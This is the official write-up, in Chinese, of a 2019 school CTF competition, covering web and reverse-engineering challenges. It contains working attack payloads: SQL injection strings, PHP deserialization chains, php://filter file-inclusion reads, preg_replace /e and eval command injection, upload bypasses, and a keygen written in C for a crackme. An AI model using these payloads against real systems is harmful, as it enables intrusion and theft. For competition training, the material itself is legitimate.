2019 第二届 科成安洵杯 官方WriteUp -17网安
长文预警:对应源码请加企鹅群获取:861677907
0x01 WEB
1.1 勇闯贪吃蛇大冒险
一进去就看出来是一道web页面JS的小游戏,提示说输入CDUESTC CTF即可闯关成功,但是存在着disabled属性,disabled属性是禁止前端输入。
但是可以通过前端将输入限制删除:
输入相应内容即可返回flag:
当然抓包改包也是可以的。
1.2 打地鼠
同样是一道web页面JS的小游戏,右键查看源代码即可寻找到flag:
1.3 大头儿子
提示中提到了三个需要注意的点:在本地上、使用cduestc2.0浏览器、从学校官网访问
如果有http协议基础,就可以知道改哪⼏个请求头了,上面三点分别是X-Forward-For、User-Agent、Referer
使用burp抓包改包即可:
1.4 upload
首先随便上传个PHP文件,发现被拦截了
后来尝试修改content-type字段 成功上传shell
1.5 缺席的员工
描述没有明确的提示,进来看看:
加上变量id就行了,我们先让id=1请求一下
发现能查询出内容,那么这应该是一个sql语句查询数据库里面的数据出来,很有可能url就是个sql注入点;
还有这个查询出来的key{}看起来很像flag,我去提交试了试,不行,本来最开始也说了flag格式为flag{}。
单引号报错,说明确实是sql注入,加上注释符--+
成功闭合,那么就可以在里面构造union select语句了,这里就可以使用sqlmap跑了,但是我懒得开sqlmap,就用手注吧:
order by猜字段,by3报错,by2正常回显,那么这是两个字段;
union select 1,2查看显示位:
发现回显并没有1,2,那么使id的值等于-1,将占用的显示位腾出来:
发现两个显示位都可用,那么接下来直接查当前数据库下的表名吧:
union select group_concat(table_name),2 from information_schema.tables where table_schema=database()
很明显,flag应该是在userss里面,查字段:
union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name="userss"
很明显,flag字段的内容就是flag值了,赶快爆字段内容:
union select flag,2 from userss
flag就出来了呀。
1.6 书生与蟒蛇
一进去是这个样子的,从url来看,这里的LN与FILE参数,有点可以改的样子,FILE参数拿去解密,base64编码
尝试改成index.php,试图看一下主页的信息
当参数调整为LN=1&FILE=aW5kZXgucGhw的时候,显示如下:证明有戏
写个python3脚本如下:
import requests
s = requests.session()
url = 'http://127.0.0.1/CTF/python/index.php?'
for i in range (0,100):
data = {'LN':str(i),'FILE':'aW5kZXgucGhw'}#要提交的参数
contents = s.get(url,params=data).content#返回获取到的内容
contents = str(contents,encoding="utf-8")#把获取到的内容以utf8格式显示
print(contents)#打印
读一下整体代码,发现这里需要改下cookie的值,发送之后,才能把flag.php读取出来:
import requests
url = 'http://127.0.0.1/CTF/python/index.php?LN=0&FILE=ZmxhZy5waHA='
ss = requests.session()
cookies = {"Location": "Python"}
contents = ss.get(url, cookies=cookies)
contents = contents .text
print(contents)
1.7 easy_Magic
给个解题思路:
进去给了个php文件,访问即可,然后给了我们源代码,进行审计,发现是一个反序列化题,绕过_wakeup()方法即可,这里用到_wakeup漏洞;
只要标注属性数量的个数大于真正的属性个数即可绕过。
然后就可以执行__destruct()方法,看了看,发现flag值应该藏在$love变量中,利用这个方法将属性love传值为love即可触发输出$love变量的值。
构造序列化,一个类可以选择手工构造,但是这里类属性用的是private声明的,因此构造序列化的时候,属性名前面应该是“%00Baby%00”,%00代表空白符,但是也占一个长度,Baby是类名,因此属性名长度应该变为:原长度+2+类名长度。
构造反序列化为:O:4:%22Baby%22:2:{s:10:%22%00Baby%00love%22;s:4:%22love%22;}
如果是利用序列化函数serialize()来输出对象就不用考虑private。
最后把序列化值传给GET变量mylove即可获得flag。
1.8 flag在哪里
经典的网页跳转的题,开启本地流量记录,通过burp的网页历史或者火狐浏览器的网络历史都可以找到i_have_a_flag.php
1.9 是码不是马
1、用dirsearch.py进行网站目录搜索:
2、发现可访问的只有index.php,访问发现需要查看源码:
3、那么我们看看能否看看该网页php地源码,这里给了一点提示,html不会解析php的内容
4、于是我们访问index.html,看到下图所示:
根据源码发现:这里需要进行两次url编码才可以成功访问。
故通过url双层编码,获取到flag:
1.10 机器人饼干
这道题很简单,描述给了一个机器人提示,那么我们先访问:
原来饼干是这块曲奇哦,那么应该是跟cookie有关的,先访问robots.txt
发现给了个margin=cd6uestc,这不会是cookie的参数和参数值吧,拿去添加cookie试试:
然后保存,回到刚才的主页面,刷新
1.11 员工查询
拿到题目后,没有任何提示,前端就只有一个数据框和查询按钮还有一个小游戏。
查看一下源码,发现是使用了Ajax向后端传数据,其他代码都是html和css,没什么用:
既然前端有输入框,试做注入一波:
从一开始试,试到3的时候发现就可以查询到数据了:
输入简单的关键字的时候发现提示这个东东,
过滤了关键字。但不知道具体过滤了那些关键字,管他的,先按照常规的sql注入了,先查看看数据库,先要猜一下后台sql语句的闭合机制:
猜到这里的时候,发现显示就不一样了哈,但是提示说这个人不见了,是不是有可能后面还做了闭合呢?
那我们把后面的注释掉,使用我们输入的括号作为闭合符号:
喵的还是不行,多试试呐,不要放弃!!其实还是好猜的:
当我们输入的时候发现显示正常了。这下闭合方式被我们猜到了。接下来猜一下数据库:
内联注释走一波看看:
可以,没有做过滤,先猜字段数:
字段数为3,猜数据库:
数据库是web03,查表:
group_concat()一次性显示:
由于是Ajax传值,hackbar就不能用,比较麻烦:但是我们可以使用burpsuite:
构造我们的payload:
2)/**/uNion/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/infOrmation_schema.tables/**/wHere/**/table_schema=database()),3#
发现有个flagtxt的表:那么flag可能就在里面:
查他字段:
2)/**/uNion/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/infOrmation_schema.columns/**/wHere/**/table_schema=database()/**/and/**/table_name='flagtxt'),3#
ok,现在最后一步,获取flag;
0)/**/uNion/**/select/**/1,flag,3/**/from/**/flagtxt#
接下来可以玩一会游戏了。我是菜鸡。。。
1.12 Magic
打开链接是这样一个页面:
根据提示,用post方法传参,参数变量为Baby,没有说值,那么随便赋一个参数值:
可是并没有什么东西啊,看看网络请求 ,或者用bp抓包看看响应。
看到响应头有个hint提示,是一个txt文件baby1.txt,那么跟在url后访问:
发现是index.php的源码,审计一下,unserialize(),反序列化漏洞,将序列化值传入POST变量Baby中。这里执行_wakeup()方法,绕过if判断即可输出c的隐藏值,将a赋值为NloveO即可绕过,这里a其实可以为任意值,因为这里只是赋值操作,没进行任何比较。构造一下序列化payload为:
O:4:"Hint":2:{s:1:"a";s:6:"NloveO";s:1:"b";s:6:"mylove";}
成功执行得到两个php文件,拿去挨个访问,发现只有baby_Magic.php可以显示出源码,看来另外一个要用伪协议使它现出原型了。
<?php
highlight_file('baby_Magic.php');
error_reporting(0);
$Baby= $_GET["Baby"];
echo $Baby;
$love = $_GET["love"];
if(!isset($Baby)){
echo 'Baby you are so good '.'<br>';
}
if(preg_match("/flag/",$Baby)){
die('Baby can no not hack me' );
}
if(preg_match("/etc/",$Baby)){
die('Baby can no not hack me' );
}
$s='etc|root|bin|home|boot|var|usr|tmp|run|opt';
if(preg_match($s,$Baby)){
die('Baby can no not hack me' );
}
include($Baby);
if(isset($love)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('Baby do not hit me');
exit();
}
}
$love = unserialize($love);
}else{
echo "Baby you can't give me Love";
}
?> Baby you are so good
Baby you can't give me Love
先看看源码,直接include($Baby),那么先传入GET变量Baby进行文件包含漏洞,利用为协议读取php文件,当然上面正则已经限制了我们读flag.php和敏感文件/etc/passwd/,那么正确的思路应该是读取先前那个没有显示的Gay.php文件。利用如下payload读取文件Gay.php:
?Baby=php://filter/read=convert.base64-encode/resource=Gay.php
这个伪协议将会把Gay.php代码按base64编码显示出来。
然后将base64全部复制出来,拿去base64解码,得到Gay.php的源码:
<?php
class Mygirl{
private $mygirl;
private $goodboy;
public $goodfriend;
public $gayyou;
public $gayme;
public function __wakeup(){
foreach(get_object_vars($this) as $b => $v) {
$this->$b = null;
}
echo "Baby you should wakeup\n";
}
public function __construct($mygirl,$goodboy,$goodfriend) {
$this->goodfriend=$goodfriend;
$this->mygirl = $mygirl;
$this->goodboy = $goodboy;
}
public function __destruct(){
if($this->goodboy='Nolan'){
$this->gayme='s1836677006a';
$this->gayyou=$this->goodfriend;
if($this->gayyou!=$this->gayme) {
if (md5($this->gayme) == md5($this->gayyou)) {
$this->mygirl->Flagcome();}
}
}
}
public function clac($md5){
$this->gayme=$md5;
}
}
class Gayme{
public $pleas;
public $Gay;
public $me;
function __construct($pleas){
$this->pleas = $pleas;
$this->Gay = $this->me = 'Baby I love you';
}
public function Flagcome(){
$this->Gay = 'But I love my cat Baby';
if($this->Gay === $this->me)
{
if(isset($this->pleas)){
echo @highlight_file($this->pleas,true);
}
}
}
}
?>
在第一个代码中存在反序列函数,应该要将第二个代码序列化执行其中的函数,读取flag.
审计了一下,发现要md5绕过一下,然后new两个类,发现md5绕过了之后$mygirl属性可以指向Gayme类的Flagcome()方法,那么先new一个Gayme的对象$c,然后将这个对象赋值给$mygirl属性就可以执行Flagcome()方法了。其中一些字符串比对,让对应的变量等于规定的字符串即可绕过,md5的话在网上随便找一个0e的md5对应的字符串即可绕过。
看了一下Flagcome()方法,让$c->me='But I love my cat Baby'即可绕过第一个if判断,然后后面利用@highlight_file()直接读取php文件,里面是利用$pleas传参的,那么new Gayme()时传入flag.php参数值即可触发@highlight_file()读取此php文件。
利用如下脚本构造序列化:
<?php
class Mygirl{
private $mygirl;
private $goodboy;
public $goodfriend;
public $gayyou;
public $gayme;
public function __wakeup(){
foreach(get_object_vars($this) as $b => $v) {
$this->$b = null;
}
echo "Baby you should wakeup\n";
}
public function __construct($mygirl,$goodboy,$goodfriend) {
$this->goodfriend=$goodfriend;
$this->mygirl = $mygirl;
$this->goodboy = $goodboy;
}
public function __destruct(){
if($this->goodboy='Nolan'){
$this->gayme='s1836677006a';
$this->gayyou=$this->goodfriend;
if($this->gayyou!=$this->gayme) {
if (md5($this->gayme) == md5($this->gayyou)) {
$this->mygirl->Flagcome();}
}
}
}
public function clac($md5){
$this->gayme=$md5;
}
}
class Gayme{
public $pleas;
public $Gay;
public $me;
function __construct($pleas){
$this->pleas = $pleas;
$this->Gay = $this->me = 'Baby I love you';
}
public function Flagcome(){
$this->Gay = 'But I love my cat Baby';
if($this->Gay === $this->me)
{
if(isset($this->pleas)){
echo @highlight_file($this->pleas,true);
}
}
}
}
$c=new Gayme('flag.php');
$c->me='But I love my cat Baby';
$a=new Mygirl($c,'Nolan','s878926199a');
print_r(serialize($a));
?>
输出的序列化为:
O:6:"Mygirl":5:{s:14:"%00Mygirl%00mygirl";O:5:"Gayme":3:{s:5:"pleas";s:8:"flag.php";s:3:"Gay";s:15:"Baby I love you";s:2:"me";s:22:"But I love my cat Baby";}s:15:"%00Mygirl%00goodboy";s:5:"Nolan";s:10:"goodfriend";s:11:"s878926199a";s:6:"gayyou";N;s:5:"gayme";N;}
要绕过__wakeup()方法,将属性数量改为大于5即可:
O:6:"Mygirl":6:{s:14:"%00Mygirl%00mygirl";O:5:"Gayme":3:{s:5:"pleas";s:8:"flag.php";s:3:"Gay";s:15:"Baby I love you";s:2:"me";s:22:"But I love my cat Baby";}s:15:"%00Mygirl%00goodboy";s:5:"Nolan";s:10:"goodfriend";s:11:"s878926199a";s:6:"gayyou";N;s:5:"gayme";N;}
然后将url的get变量Baby=Gay.php,将Gay.php的内容包含进来才可以正常执行,然后love传入我们构造的序列化字符:
http://119.3.221.93:8888/web2/baby_Magic.php?Baby=Gay.php&love=O:6:"Mygirl":6:{s:14:"%00Mygirl%00mygirl";O:5:"Gayme":3:{s:5:"pleas";s:8:"flag.php";s:3:"Gay";s:15:"Baby I love you";s:2:"me";s:22:"But I love my cat Baby";}s:15:"%00Mygirl%00goodboy";s:5:"Nolan";s:10:"goodfriend";s:11:"s878926199a";s:6:"gayyou";N;s:5:"gayme";N;}
但是没有输出flag,再看看主页面baby_Magic.php的代码,发现有个url正则匹配,url中不能出现flag字样,发现是parse_url()函数来获取url数据内容的。
那么直接用parse_url()函数漏洞,利用”///“来避开正则匹配,因为///加在url中,直接让parse_url()获取的内容为false.
那么我们在根目录后将”/“换为”///“:
http://119.3.221.93:8888///web2/baby_Magic.php?Baby=Gay.php&love=O:6:"Mygirl":6:{s:14:"%00Mygirl%00mygirl";O:5:"Gayme":3:{s:5:"pleas";s:8:"flag.php";s:3:"Gay";s:15:"Baby I love you";s:2:"me";s:22:"But I love my cat Baby";}s:15:"%00Mygirl%00goodboy";s:5:"Nolan";s:10:"goodfriend";s:11:"s878926199a";s:6:"gayyou";N;s:5:"gayme";N;}
最终得出flag!
1.13 有内鬼终止交易
刚刚进到网页,题目标题就有提示“此网页已被黑 —— BY S.Jin ”,同时在网页的末尾有一个qq,
搜一下qq:
里面很明显有提醒,网站放了网页木马,扫描目录发现shell.php
发现一个很精单的大马,这里有两个办法登录进去:
(1)弱密码:S.Jin
(2)网页大马本身存在的后门密码:http200ok
进到大马里面,同目录下查看flag.php
1.14 我只想搞钱
代码很简单,经典的PHP弱类型比较:
要求9000<=RMB<=9999,RMB的长度=5
在正常的数学上,基本上是无解的。利用极限法或许是有解的(手动滑稽)
但是在PHP里面,如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行
构造payload:(只要是大于等于9000的数字加任意一个字母即可)
RMB=9000b
1.15 给宝宝买件衣服吧
进去之后是一个商城:需要购买flag
直接结算后,发现什么东西都不能买,很穷,一点钱都木得:
尝试推算一下逻辑:既然一点钱都没有,那就买点不要钱的东西:
买-1件商品1,-2件商品2,1件商品3,这样算下来:-100-400+500=0,四舍五入等于不要钱~
购买成功
1.16 wp
打开链接,就用扫描工具扫描一下,发现有个wordpress目录,跟进去
发现首页上有小提示,tip:cduestc 猜想应该是后台的登录密码 试了试,果然登录了后台,并且发现可以上传webshell,而且没有过滤,还给出了路径
菜刀连接就行了
1.17 苹果专卖店
代码逻辑很清楚,调用b这个匿名函数,参数为iphone11。
在整个过程中,从表面上看,我们能够控制的只有price的值,但是我们把这个函数b拆开来看就变成了下面这样:
function b($name){
echo $name.的价格是.$price;
}
再仔细看一下这个price,我们是不是可以在函数内部改造一下?
构造payload:
price=123;}eval(system(dir));/*
那么传入后代码就会变成下面这样:
function b($name){
echo $name.的价格是.123;}eval(system(dir));/*;
}
看下效果图:
发现flag.php,进而通过php的readfile函数读取到flag文件内容:
price=123;}readfile(".\flag.php");
1.18 AI技术
解题思路:访问目标url,给了一个robots提示,那么访问一下,是一个c4uest3.php文件,访问没有输出提示。
直接扫目录,发现一个index.php.swp文件,结合提示给出的vi,百度一下就知道,swp文件是由于linux下vi编辑器强制退出所产生的一个损坏文件。
在linux下直接使用vi -r index.php.swp即可修复index.php文件,之后打开index.php文件
正常显示,审计一下代码,两个GET变量,ai和f,先要利用ai绕过if判断;
Ai的值是传给file_get_contents()函数的,这个函数可以直接使用php伪协议写入任何字符串传给$data变量,那么就可以写入if判断里的那个字符串,让他们相等,即可绕过判断,然后执行include()函数,GET变量f将传给这个函数,直接控制f利用include()的文件包含漏洞即可读取到任意文件,刚刚robots.txt不是爆出来一个c4urest3.php吗,直接读取即可得到flag。
最终payload:
?ai=data:text/plain;base64,SSB3YW50IGEgZmxhZyE=&f=php://filter/read=convert.base64-encode/resource=c4uest3.php
解出来拿去base64解码就出来了。
1.19 云平台后台管理中心
1、主页面存在php文件包含漏洞页面:可通过php伪协议查阅到index.php的文件内容:
2、通过对base64解码,得到php代码内容:
3、这里通过对代码分析,可以看到用户可通过GET传送3个参数,运用到了php的正则表达式,这里我就直接上payload了,看不懂的请把php的正则表达式好好学一下:
preg_replace ($pattern, $replacement, $subject )
搜索subject中匹配pattern的部分,以replacement进行替换
(1)使用burp修改http请求头参数,添加x-forwarded-for:127.0.0.1
(2)将url设置为/index.php?pat=/(.*)/e&rep=system('dir')&sub=aa 可以查看文件列表,如图所示:同时发现nandwdnwfxq.txt:
4、通过readfile函数查阅到很像flag的文件内容:
0x02 RE
2.1 EZ
查看字符串即可获得flag
2.2 小游戏
测试过游戏通关也不能获得flag。
找到关键字符串
跳到调用位置
记录地址,运行至此,或运行这个汇编代码都可以获得flag。
2.3 我要vip
看了下题目是没有后缀的,又是逆向类的题目,提示说玩玩儿手机 那么就可能使安卓逆向的题首先更改文件后缀为zip。查看压缩包内容证实了刚刚的想法
那么把这个文件拖到andriodkiller中去(把后缀名改为apk)首先要破解apk得到flag那么就要先运行一下这个文件。可以用模拟器运行也可以用手机下载运行
运行后如下图:
提示说努力成为vip总是一个不错的想法,那么可以看出这是一个有条件跳转的地方。那么我们就要想办法跳到vip界面。点击按钮,如下图所示:
我们查看androidkiller反编译好的内容
首先我们得了解apk的组成
MATA—INF文件是存放一些工程属性文件,例如MANIFEST.MF
Res文件夹是资源目录
AndroidMainfest.xml是安卓工程的基础配置属性文件。在android开发中所有功能要在AndroidMainfest中注册才生效
Smali里是文件的源码
首先我们找到res目录下string.xml有没有关键的字符串
发现并没有
根据提示,那我们搜索关键字vip 因为要得出flag就要成为vip
搜索出来后有以下文件含有vip
依次检索,发现有一个mainactivity.smali文件中含有vip字样。在android开发中mainactivity类是很重要的,其中的方法有窗体的入口函数以及创建桑乾activity的菜单函数及响应菜单的按钮事件点击函数等。
点击进行查看,发现很多unicode,转码看出就是app运行显示的字符
然后我们将mainactivity.smali转为java文件查看我们发现了条件跳转的地方
然后找到对应的smali代码修改参数
我们将转到事件cond_1的条件是if-lez v0;跳转到事件cond_2的条件是if-gez vo;那么我们就将这里的条件修改了让app直接显示为vip界面。
修改完成后保存回编译apk运行查看是否有flag
运行后果然显示恭喜你拿到了真正的flag
最终我们获得flag{czADA_SA_ddad_aijdA}
2.4 不知道什么算法
脱壳
定位关键函数位置,前三位相加等于5后面353,
第一种方法爆破,第二种触发除0异常。
2.5 一个简单的cm
通过字符串定位关键函数
逆向算法即可
2.6 easy code 事倍功半
拖进OD ESP定律脱壳
重新拖进OD
载入后程序停在401000处。
00401000 >/$ 6A 00 push 0 ; /pModule = NULL
00401002 |. E8 83070000 call <jmp.&KERNEL32.GetModuleHandleA> ; \GetModuleHandleA
00401007 |. A3 80344000 mov dword ptr [403480], eax
0040100C |. E8 73070000 call <jmp.&KERNEL32.GetCommandLineA> ; [GetCommandLineA
在这里右键点击,选择查找-》所有参考文本字符串。这时出现了出现了一个新的窗口,在这个窗口中找到提示注册失败的文本字串
“sorry please try again”。双击“sorry please try again”文本字串,跳到004016e9这个地方。
004016E0 |. /EB 13 jmp short 004016F5
004016E2 |> |6A 00 push 0 ; /Style = MB_OK|MB_APPLMODAL
004016E4 |. |68 0A304000 push 0040300A ; |Title = "Splish, Splash"
004016E9 |. |68 67304000 push 00403067 ; |Text = "Sorry, please try again."
004016EE |. |6A 00 push 0 ; |hOwner = NULL
004016F0 |. |E8 53000000 call <jmp.&USER32.MessageBoxA> ; \MessageBoxA
004016F5 |> \C9 leave
004016F6 \. C2 0800 retn 8
这段代码是调用MessageBoxA函数创建提示失败的对话框。在附近找找,在004016c8 jnz short 004016E2不相等就跳转提示注册失败
在004016bc处相等就跳转到提示注册成功。看起来这里是注册的关键地方,我们在004016b6的地方下个断点标记一下。我接着往上看看
有没有获取帐号和注册码的地方,果然在004015f1附近两次调用了GetWindowTextA函数,获取输入值,一个是存在00403242的地方,另一存在00403236的地址处,这里面肯定是输入的注册码和帐号,我们来验证一下。
在00401614处按F2下断点,按F9运行,软件停止输入框中等待输入。我们在name上输入“abcdefg”,在serial上输入“1234567”单击check
程序停止断点00401614处,这时已获取了输入值,我们在数据内存区找到00403242和00403236地址。
00403230 00 00 00 00 00 00 61 62 63 64 65 66 67 00 00 00 ......abcdefg...
00403240 00 00 31 32 33 34 35 36 37 38 00 00 00 00 00 00 ..12345678......
这时我们看见00403242存的是刚才输入的注册码serial,00403236存的是帐号name。到这里我们找到了帐号和注册码,我在这里到提示失败的地方的汇编注释先贴出来:
004015E4 /$ 55 push ebp
004015E5 |. 8BEC mov ebp, esp ; 判断注册码的函数
004015E7 |. 6A 20 push 20 ; /Count = 20 (32.)
004015E9 |. 68 42324000 push 00403242 ; |Buffer = Splish.00403242
004015EE |. FF75 0C push dword ptr [ebp+C] ; |hWnd
004015F1 |. E8 34010000 call <jmp.&USER32.GetWindowTextA> ; \GetWindowTextA
004015F6 |. 85C0 test eax, eax
004015F8 |. 0F84 95000000 je 00401693 ; 获得输入name,输入为零时跳走
004015FE |. A3 67344000 mov dword ptr [403467], eax ; 注册码长度lens
00401603 |. 6A 0B push 0B ; /Count = B (11.)
00401605 |. 68 36324000 push 00403236 ; |Buffer = Splish.00403236
0040160A |. FF75 08 push dword ptr [ebp+8] ; |hWnd
0040160D |. E8 18010000 call <jmp.&USER32.GetWindowTextA> ; \GetWindowTextA
00401612 |. 85C0 test eax, eax ; 获得输入serial
00401614 |. 74 68 je short 0040167E ; 输入为零跳走
00401616 |. A3 63344000 mov dword ptr [403463], eax ; len取serial的长度
0040161B |. 33C9 xor ecx, ecx
0040161D |. 33DB xor ebx, ebx ; 变量i
0040161F |. 33D2 xor edx, edx
00401621 |. 8D35 36324000 lea esi, dword ptr [403236] ; 字符串name
00401627 |. 8D3D 58324000 lea edi, dword ptr [403258] ; 缓存hname
0040162D |. B9 0A000000 mov ecx, 0A ; 变量n设10
00401632 |> 0FBE041E /movsx eax, byte ptr [esi+ebx] ; 取name的第一个字符
00401636 |. 99 |cdq ; 扩成八字节,就是用符号为给edx赋值
00401637 |. F7F9 |idiv ecx ; edx:eax除于n就是name的第一个字符除于10
00401639 |. 33D3 |xor edx, ebx ; 余数edx和ebx异或,存入edx
0040163B |. 83C2 02 |add edx, 2 ; edx加2
0040163E |. 80FA 0A |cmp dl, 0A
00401641 |. 7C 03 |jl short 00401646
00401643 |. 80EA 0A |sub dl, 0A
00401646 |> 88141F |mov byte ptr [edi+ebx], dl ; 将name的ebx个字符处理后放到缓存hname的第ebx个字符
00401649 |. 43 |inc ebx
0040164A |. 3B1D 63344000 |cmp ebx, dword ptr [403463] ; ebx和serial的长度len比较
00401650 |.^ 75 E0 \jnz short 00401632
00401652 |. 33C9 xor ecx, ecx
00401654 |. 33DB xor ebx, ebx ; 变量i=0
00401656 |. 33D2 xor edx, edx
00401658 |. 8D35 42324000 lea esi, dword ptr [403242] ; 注册码serial
0040165E |. 8D3D 4D324000 lea edi, dword ptr [40324D] ; 缓存注册码hserial
00401664 |. B9 0A000000 mov ecx, 0A ; 变量n等于10
00401669 |> 0FBE041E /movsx eax, byte ptr [esi+ebx] ; 将注册码serial的第i字符取出
0040166D |. 99 |cdq ; 扩成八位
0040166E |. F7F9 |idiv ecx ; 第一字符除以n,就是除以10
00401670 |. 88141F |mov byte ptr [edi+ebx], dl ; 把余数放到hserial的第i个里
00401673 |. 43 |inc ebx ; i++
00401674 |. 3B1D 67344000 |cmp ebx, dword ptr [403467] ; i和注册码的长度lens比较大小
0040167A |.^ 75 ED \jnz short 00401669
0040167C |. EB 2A jmp short 004016A8 ; 有
0040167E |> 6A 00 push 0 ; /Style = MB_OK|MB_APPLMODAL
00401680 |. 68 0A304000 push 0040300A ; |Title = "Splish, Splash"
00401685 |. 68 A0304000 push 004030A0 ; |Text = "Please enter your name."
0040168A |. 6A 00 push 0 ; |hOwner = NULL
0040168C |. E8 B7000000 call <jmp.&USER32.MessageBoxA> ; \MessageBoxA
00401691 |. EB 62 jmp short 004016F5
00401693 |> 6A 00 push 0 ; /Style = MB_OK|MB_APPLMODAL
00401695 |. 68 0A304000 push 0040300A ; |Title = "Splish, Splash"
0040169A |. 68 B8304000 push 004030B8 ; |Text = "Please enter your serial number."
0040169F |. 6A 00 push 0 ; |hOwner = NULL
004016A1 |. E8 A2000000 call <jmp.&USER32.MessageBoxA> ; \MessageBoxA
004016A6 |. EB 4D jmp short 004016F5
004016A8 |> 8D35 4D324000 lea esi, dword ptr [40324D] ; 注册码缓存hserial
004016AE |. 8D3D 58324000 lea edi, dword ptr [403258] ; 帐号缓存hname
004016B4 |. 33DB xor ebx, ebx ; 变量i
004016B6 |> 3B1D 63344000 /cmp ebx, dword ptr [403463] ; i和注册码长度len比较
004016BC |. 74 0F |je short 004016CD ; 相等才可以提示正确
004016BE |. 0FBE041F |movsx eax, byte ptr [edi+ebx] ; hname[i]
004016C2 |. 0FBE0C1E |movsx ecx, byte ptr [esi+ebx] ; hserial[i]
004016C6 |. 3BC1 |cmp eax, ecx ; 如果hname【i】和hserial【i】相等,i++
004016C8 |. 75 18 |jnz short 004016E2 ; 不相等就注册失败
004016CA |. 43 |inc ebx
004016CB |.^ EB E9 \jmp short 004016B6
004016CD |> 6A 00 push 0 ; /Style = MB_OK|MB_APPLMODAL
004016CF |. 68 0A304000 push 0040300A ; |Title = "Splish, Splash"
004016D4 |. 68 42304000 push 00403042 ; |Text = "Good job, now keygen it."
004016D9 |. 6A 00 push 0 ; |hOwner = NULL
004016DB |. E8 68000000 call <jmp.&USER32.MessageBoxA> ; \MessageBoxA
004016E0 |. EB 13 jmp short 004016F5
004016E2 |> 6A 00 push 0 ; /Style = MB_OK|MB_APPLMODAL
004016E4 |. 68 0A304000 push 0040300A ; |Title = "Splish, Splash"
004016E9 |. 68 67304000 push 00403067 ; |Text = "Sorry, please try again."
004016EE |. 6A 00 push 0 ; |hOwner = NULL
004016F0 |. E8 53000000 call <jmp.&USER32.MessageBoxA> ; \MessageBoxA
004016F5 |> C9 leave
004016F6 \. C2 0800 retn 8
这个注册机制是f1(name)=f2(serial)的形式,name是帐号,serial是注册码,在获取了输入后就计算hname=f1(name)的值
hname存在00403258。计算代码:
0040161B |. 33C9 xor ecx, ecx
0040161D |. 33DB xor ebx, ebx ; 变量i
0040161F |. 33D2 xor edx, edx
00401621 |. 8D35 36324000 lea esi, dword ptr [403236] ; 字符串name
00401627 |. 8D3D 58324000 lea edi, dword ptr [403258] ; 缓存hname
0040162D |. B9 0A000000 mov ecx, 0A ; 变量n设10
00401632 |> 0FBE041E /movsx eax, byte ptr [esi+ebx] ; 取name的第i个字符
00401636 |. 99 |cdq ; 扩成八字节,就是用符号为给edx赋值
00401637 |. F7F9 |idiv ecx ; edx:eax除于n就是name的第一个字符除于10
00401639 |. 33D3 |xor edx, ebx ; 余数edx和ebx异或,存入edx
0040163B |. 83C2 02 |add edx, 2 ; edx加2
0040163E |. 80FA 0A |cmp dl, 0A
00401641 |. 7C 03 |jl short 00401646
00401643 |. 80EA 0A |sub dl, 0A
00401646 |> 88141F |mov byte ptr [edi+ebx], dl ; 将name的ebx个字符处理后放到缓存hname的第ebx个字符
00401649 |. 43 |inc ebx
0040164A |. 3B1D 63344000 |cmp ebx, dword ptr [403463] ; ebx和serial的长度len比较
00401650 |.^ 75 E0 \jnz short 00401632
这里可以提取出函数f1,将帐号name的每个字符取出,经过除10取余,和字符位数相异或,再加2的计算处理后存到hname中。我们对应的
c语言的实现:
lenn=strlen(name);
for(i=0;i<lenn;i++)
{
tm=name[i];
tm%=10;
tm^=i;
tm+=2;
if(tm>=10)
{
tm-=10;
}
hname[i]=tm;
}
往后就是hserial=f2(serial)值的计算,汇编代码:
00401652 |. 33C9 xor ecx, ecx
00401654 |. 33DB xor ebx, ebx ; 变量i=0
00401656 |. 33D2 xor edx, edx
00401658 |. 8D35 42324000 lea esi, dword ptr [403242] ; 注册码serial
0040165E |. 8D3D 4D324000 lea edi, dword ptr [40324D] ; 缓存注册码hserial
00401664 |. B9 0A000000 mov ecx, 0A ; 变量n等于10
00401669 |> 0FBE041E /movsx eax, byte ptr [esi+ebx] ; 将注册码serial的第i字符取出
0040166D |. 99 |cdq ; 扩成八位
0040166E |. F7F9 |idiv ecx ; 第一字符除以n,就是除以10
00401670 |. 88141F |mov byte ptr [edi+ebx], dl ; 把余数放到hserial的第i个里
00401673 |. 43 |inc ebx ; i++
00401674 |. 3B1D 67344000 |cmp ebx, dword ptr [403467] ; i和注册码的长度lens比较大小
0040167A |.^ 75 ED \jnz short 00401669
可以看出f2的计算比较简单,就是serial的每个字符ascii码除于10的余数存到hserial中。
在计算出hname=f1(name)和hserial=f2(serial)之后就是比较hname和hserial的大小。
汇编代码:
004016A8 |> \8D35 4D324000 lea esi, dword ptr [40324D] ; 注册码缓存hserial
004016AE |. 8D3D 58324000 lea edi, dword ptr [403258] ; 帐号缓存hname
004016B4 |. 33DB xor ebx, ebx ; 变量i
004016B6 |> 3B1D 63344000 /cmp ebx, dword ptr [403463] ; i和注册码长度len比较
004016BC |. 74 0F |je short 004016CD ; 相等才可以提示正确
004016BE |. 0FBE041F |movsx eax, byte ptr [edi+ebx] ; hname[i]
004016C2 |. 0FBE0C1E |movsx ecx, byte ptr [esi+ebx] ; hserial[i]
004016C6 |. 3BC1 |cmp eax, ecx ; 如果hname【i】和hserial【i】相等,i++
004016C8 |. 75 18 |jnz short 004016E2 ; 不相等就注册失败
004016CA |. 43 |inc ebx
004016CB |.^ EB E9 \jmp short 004016B6
只有hname和hserial的所有第i个字符相等才能注册成功,有一个不相等在4016c8处就会跳到注册失败提示上去!
写注册机就是求serial,serial=f2-1(hserial),hserial=hname=f1(name)。f2是除10的余数,f2的逆f2-1求出来的值不是唯一的
是加上10的倍数就可以,就是说serial=hserial+10*n,n是0,1,2,3……,hserial是0到九的数,我们要serial的值是字母的ascii值n取70,serial的值在70到80之间是F~P的ascii值,
所以我们的注册机代码:
#include<stdio.h>
#include<string.h>
main()
{
char name[19]="abcdefg";
char serial[19];
char hname[19];
char hserial[19];
int lenn;
int lens;
char ch;
int tm;
int i=0;
printf("输入帐号:");
scanf("%s",name);
printf("\n");
lenn=strlen(name);
for(i=0;i<lenn;i++)
{
tm=name[i];
tm%=10;
tm^=i;
tm+=2;
if(tm>=10)
{
tm-=10;
}
hname[i]=tm;
}
printf("注册码:");
for(i=0;i<lenn;i++)
{
printf("%c",(hname[i]+70));
}
printf("\n");
system("pause");
}
0x03 Misc
